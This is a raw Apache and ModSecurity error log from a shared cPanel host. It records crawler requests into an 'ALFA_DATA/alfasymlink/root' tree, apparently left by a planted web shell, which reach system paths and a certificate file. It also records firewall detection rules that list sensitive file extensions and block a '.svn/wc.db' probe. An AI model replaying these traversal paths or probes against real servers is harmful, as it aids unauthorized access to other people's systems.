[Sat Oct 24 05:17:42.654488 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 34.230.124.21:60299] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:17:50.693479 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 54.145.82.217:1034] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:17:54.661113 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 34.194.226.74:26182] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:17:59.000256 2026] [ssl:error] [pid 2608663:tid 2608663] (70014)End of file found: [client 54.210.155.69:6944] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:18:02.515734 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 3.220.148.166:32438] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:18:06.707757 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 18.215.49.176:50489] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:18:10.652216 2026] [core:error] [pid 2608731:tid 2608731] (13)Permission denied: [client 54.197.82.195:58174] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/firmware_node/device:14/subsystem/devices/device:03/physical_node/driver/0000:00:02.0/resource0
[Sat Oct 24 05:18:15.509780 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 54.166.126.132:9538] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:18:18.690818 2026] [core:error] [pid 2603807:tid 2603807] (13)Permission denied: [client 184.72.95.195:29406] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:01.1/subsystem/drivers/virtio-pci/0000:00:05.0/subsystem/drivers/piix4_smbus/remove_id
[Sat Oct 24 05:18:23.495789 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 18.215.24.66:36557] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:18:26.604660 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 107.20.255.194:17411] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:18:34.851159 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 3.232.39.98:41426] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:18:42.673931 2026] [ssl:error] [pid 2608663:tid 2608663] (70014)End of file found: [client 184.73.195.18:24060] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:18:46.696197 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 3.235.215.92:24986] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:18:54.561169 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 54.167.32.123:8335] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:18:58.634486 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 50.16.248.61:42478] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:19:02.705840 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 52.204.253.129:48444] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:19:06.685915 2026] [security2:error] [pid 2608810:tid 2608810] [client 52.44.229.124:55409] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory2/node0/memory3/node0/cpu0/firmware_node/subsystem/devices/device:03/physical_node/"] [unique_id "atx4CqVWPMRLkHgZYZD5VwAAABU"]
[Sat Oct 24 05:19:06.685981 2026] [security2:error] [pid 2608810:tid 2608810] [client 52.44.229.124:55409] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory2/node0/memory3/node0/cpu0/firmware_node/subsystem/devices/device:03/physical_node/"] [unique_id "atx4CqVWPMRLkHgZYZD5VwAAABU"]
[Sat Oct 24 05:19:07.930134 2026] [cgi:error] [pid 2608731:tid 2608731] [client 165.154.206.35:42354] AH02811: stderr from /usr/local/cpanel/cgi-sys/favicon.ico: script not found or unable to stat, referer: http://162.216.113.238:80
[Sat Oct 24 05:19:10.689142 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 3.215.59.93:55326] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:19:19.414376 2026] [security2:error] [pid 2603807:tid 2603807] [client 52.4.229.9:12286] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/wakeup/wakeup7/device/physical_node/0000:00:05.0/subsystem/drivers/ata_generic/module/sections/"] [unique_id "atx4F43tkuH7XT-LVCb7dwAAAAE"]
[Sat Oct 24 05:19:19.414461 2026] [security2:error] [pid 2603807:tid 2603807] [client 52.4.229.9:12286] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/wakeup/wakeup7/device/physical_node/0000:00:05.0/subsystem/drivers/ata_generic/module/sections/"] [unique_id "atx4F43tkuH7XT-LVCb7dwAAAAE"]
[Sat Oct 24 05:19:22.596038 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 52.45.15.233:35906] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:19:26.599492 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 52.2.58.41:4250] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:19:38.755451 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 54.210.155.69:24636] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:19:39.743196 2026] [core:error] [pid 2608663:tid 2608663] (13)Permission denied: [client 185.191.171.1:64442] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-128/cpu_partial
[Sat Oct 24 05:19:42.609909 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 18.209.201.119:6999] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:19:50.638080 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 23.23.212.212:32599] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:19:54.731279 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 50.19.102.70:20225] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:19:58.910385 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 18.207.79.144:16685] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:20:07.324542 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 18.213.240.226:63647] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:20:18.727581 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 44.217.255.167:61727] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:20:22.734008 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 54.164.106.236:27344] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:20:26.812682 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 54.89.90.224:8306] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:20:30.666377 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 52.73.142.41:29765] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:20:39.786741 2026] [authz_core:error] [pid 2608731:tid 2608731] [client 71.6.246.223:14044] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 05:20:42.713849 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 44.212.131.50:65263] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:20:54.697896 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 3.90.73.206:41574] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:02/subsystem/devices/device:06/physical_node/driver/unbind
[Sat Oct 24 05:20:58.610758 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 52.4.229.9:41677] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:21:08.632259 2026] [core:error] [pid 2608810:tid 2608810] (13)Permission denied: [client 185.191.171.17:35118] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/xfrm_dst_cache/total_objects
[Sat Oct 24 05:21:10.632297 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 44.207.252.58:2787] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:21:18.842379 2026] [core:error] [pid 2607845:tid 2607845] (13)Permission denied: [client 184.73.47.24:12060] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:05/eject
[Sat Oct 24 05:21:26.694136 2026] [security2:error] [pid 2607243:tid 2607243] [client 34.205.163.103:50720] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/wakeup/wakeup7/device/device:01/PNP0B00:00/physical_node/driver/00:00/subsystem/drivers/"] [unique_id "atx4llGNStwISql-V9e78QAAAAs"]
[Sat Oct 24 05:21:26.694188 2026] [security2:error] [pid 2607243:tid 2607243] [client 34.205.163.103:50720] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/wakeup/wakeup7/device/device:01/PNP0B00:00/physical_node/driver/00:00/subsystem/drivers/"] [unique_id "atx4llGNStwISql-V9e78QAAAAs"]
[Sat Oct 24 05:21:38.416203 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 52.202.233.37:18730] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:21:42.412821 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 3.220.70.171:35747] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:21:58.324646 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 34.197.28.78:22224] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:22:02.246060 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 52.204.174.139:21307] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:22:06.309042 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 98.83.177.42:45847] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:22:10.356953 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 54.85.7.119:64364] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:22:18.232276 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 44.215.61.66:41568] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:22:26.287052 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 54.85.126.86:7723] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:22:33.439707 2026] [core:error] [pid 2607845:tid 2607845] (13)Permission denied: [client 185.191.171.14:63090] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/boot/System.map-4.18.0-553.58.1.el8_10.x86_64
[Sat Oct 24 05:22:38.388520 2026] [ssl:error] [pid 2607243:tid 2607243] (5)Input/output error: [client 18.233.24.238:61056] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:22:42.210132 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 54.235.172.96:30058] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:22:50.324136 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 34.206.193.60:55437] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:22:58.220586 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 35.174.253.85:2682] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:23:02.223162 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 3.220.148.166:52830] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:23:03.811598 2026] [core:error] [pid 2608810:tid 2608810] (13)Permission denied: [client 85.208.96.211:41442] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inode_cache/store_user
[Sat Oct 24 05:23:06.207466 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 100.28.118.16:11441] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:23:18.366769 2026] [core:error] [pid 2608731:tid 2608731] (13)Permission denied: [client 54.145.82.217:37518] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/PNP0B00:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/driver/remove_id
[Sat Oct 24 05:23:22.194836 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 34.194.226.74:20662] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:23:26.211469 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 34.233.114.237:48419] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:23:26.403809 2026] [core:crit] [pid 2608810:tid 2608810] (13)Permission denied: [client 71.6.242.39:41770] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 05:23:26.983263 2026] [core:error] [pid 2608811:tid 2608811] (13)Permission denied: [client 185.191.171.8:64792] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/nf_conntrack/sections/__bug_table
[Sat Oct 24 05:23:34.301973 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 54.159.18.27:18956] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:23:42.196566 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 52.3.104.214:55402] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:23:46.180901 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 100.28.57.133:2200] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:23:46.962570 2026] [security2:error] [pid 2603807:tid 2603807] [client 43.130.102.223:57828] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "162.216.113.238"] [uri "/"] [unique_id "atx5Io3tkuH7XT-LVCb7gwAAAAE"]
[Sat Oct 24 05:23:54.179528 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 18.213.27.222:5085] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:23:58.852436 2026] [security2:error] [pid 2609012:tid 2609012] [client 43.164.0.21:56010] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/escuelas2.com/"] [unique_id "atx5LnUcfBNBYE9xHAI_SAAAAAA"]
[Sat Oct 24 05:23:58.853829 2026] [authz_core:error] [pid 2609012:tid 2609012] [client 43.164.0.21:56010] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escuelas2.com/php.ini
[Sat Oct 24 05:24:02.175502 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 98.83.8.142:56329] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:24:10.182007 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 54.90.244.132:61569] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:24:11.639924 2026] [core:error] [pid 2608811:tid 2608811] (13)Permission denied: [client 185.191.171.14:52558] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/request_sock_TCP/slab_size
[Sat Oct 24 05:24:14.212273 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 18.214.124.6:21717] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:24:26.235529 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 18.213.240.226:47952] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:24:34.206689 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 34.192.67.98:53646] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:24:35.515092 2026] [security2:error] [pid 2608798:tid 2608798] [client 185.191.171.6:63578] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/certs/casarin1_sherwinpinturas_com_dcf3d_97cf3_1786305840_b8441678a993792d4eb29872974b8f34.crt"] [unique_id "atx5U7X1SaR9hxmEXogm_AAAAAo"]
[Sat Oct 24 05:24:35.515150 2026] [security2:error] [pid 2608798:tid 2608798] [client 185.191.171.6:63578] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/certs/casarin1_sherwinpinturas_com_dcf3d_97cf3_1786305840_b8441678a993792d4eb29872974b8f34.crt"] [unique_id "atx5U7X1SaR9hxmEXogm_AAAAAo"]
[Sat Oct 24 05:24:38.352238 2026] [core:crit] [pid 2608811:tid 2608811] (13)Permission denied: [client 45.33.91.73:5898] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 05:24:45.097206 2026] [core:error] [pid 2607845:tid 2607845] (13)Permission denied: [client 85.208.96.194:48656] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/cred_jar/objects_partial
[Sat Oct 24 05:24:50.188665 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 52.4.229.9:42006] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:25:02.247547 2026] [ssl:error] [pid 2608663:tid 2608663] (70014)End of file found: [client 3.215.59.93:31663] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:25:06.165539 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 34.199.252.22:14991] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:25:14.177847 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 18.215.77.19:13512] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:25:26.190985 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 184.73.167.217:13671] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:06/physical_node/driver/uevent
[Sat Oct 24 05:25:38.168186 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 3.216.86.144:63280] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:25:46.219776 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 3.93.253.174:41491] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:25:54.320849 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 54.84.147.79:20509] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:26:02.219633 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 23.21.227.240:17728] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:26:06.153742 2026] [core:error] [pid 2609012:tid 2609012] (13)Permission denied: [client 185.191.171.9:51856] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/rpc_inode_cache/min_partial
[Sat Oct 24 05:26:06.186227 2026] [core:error] [pid 2608810:tid 2608810] (13)Permission denied: [client 34.192.125.239:62434] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/device:19/eject
[Sat Oct 24 05:26:07.615962 2026] [core:crit] [pid 2608811:tid 2608811] (13)Permission denied: [client 192.253.248.251:64692] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 05:26:14.189272 2026] [ssl:error] [pid 2608663:tid 2608663] (70014)End of file found: [client 100.24.149.244:38275] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:26:22.188102 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 98.84.70.201:30126] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:26:46.295756 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 18.214.138.148:63077] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:26:50.224205 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 3.213.106.226:26828] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:26:54.160102 2026] [core:error] [pid 2603807:tid 2603807] (13)Permission denied: [client 54.152.163.42:33486] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/physical_node/subsystem/drivers/exar_serial/uevent
[Sat Oct 24 05:27:06.213013 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 54.235.172.108:12951] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:27:10.154874 2026] [ssl:error] [pid 2608663:tid 2608663] (70014)End of file found: [client 3.232.82.72:35872] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:27:22.162731 2026] [core:error] [pid 2608731:tid 2608731] (13)Permission denied: [client 54.83.180.239:53321] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/event3/subsystem/input5/device/subsystem/drivers/intel_rapl_msr/unbind
[Sat Oct 24 05:27:26.159985 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 34.235.239.240:63678] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:27:34.236802 2026] [core:error] [pid 2608663:tid 2608663] (13)Permission denied: [client 98.80.130.239:4820] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:00/physical_node/i2c-0/device/subsystem/drivers/piix4_smbus/new_id
[Sat Oct 24 05:27:46.399385 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 44.221.105.234:6842] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:27:54.200197 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 98.82.39.241:1912] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:27:58.160191 2026] [ssl:error] [pid 2608663:tid 2608663] (70014)End of file found: [client 100.28.57.133:63687] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:28:01.598121 2026] [security2:error] [pid 2608810:tid 2608810] [client 193.32.162.175:33340] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "64.20.54.226"] [uri "/.svn/wc.db"] [unique_id "atx6IaVWPMRLkHgZYZD5cAAAABU"]
[Sat Oct 24 05:28:01.598329 2026] [security2:error] [pid 2608810:tid 2608810] [client 193.32.162.175:33340] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/wc.db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.svn/wc.db"] [unique_id "atx6IaVWPMRLkHgZYZD5cAAAABU"]
[Sat Oct 24 05:28:01.598608 2026] [security2:error] [pid 2608810:tid 2608810] [client 193.32.162.175:33340] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.svn/wc.db"] [unique_id "atx6IaVWPMRLkHgZYZD5cAAAABU"]
[Sat Oct 24 05:28:01.598999 2026] [security2:error] [pid 2608810:tid 2608810] [client 193.32.162.175:33340] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.svn/wc.db"] [unique_id "atx6IaVWPMRLkHgZYZD5cAAAABU"]
[Sat Oct 24 05:28:02.183846 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 18.235.81.246:60538] AH02013: coalesce failed to read from data bucket
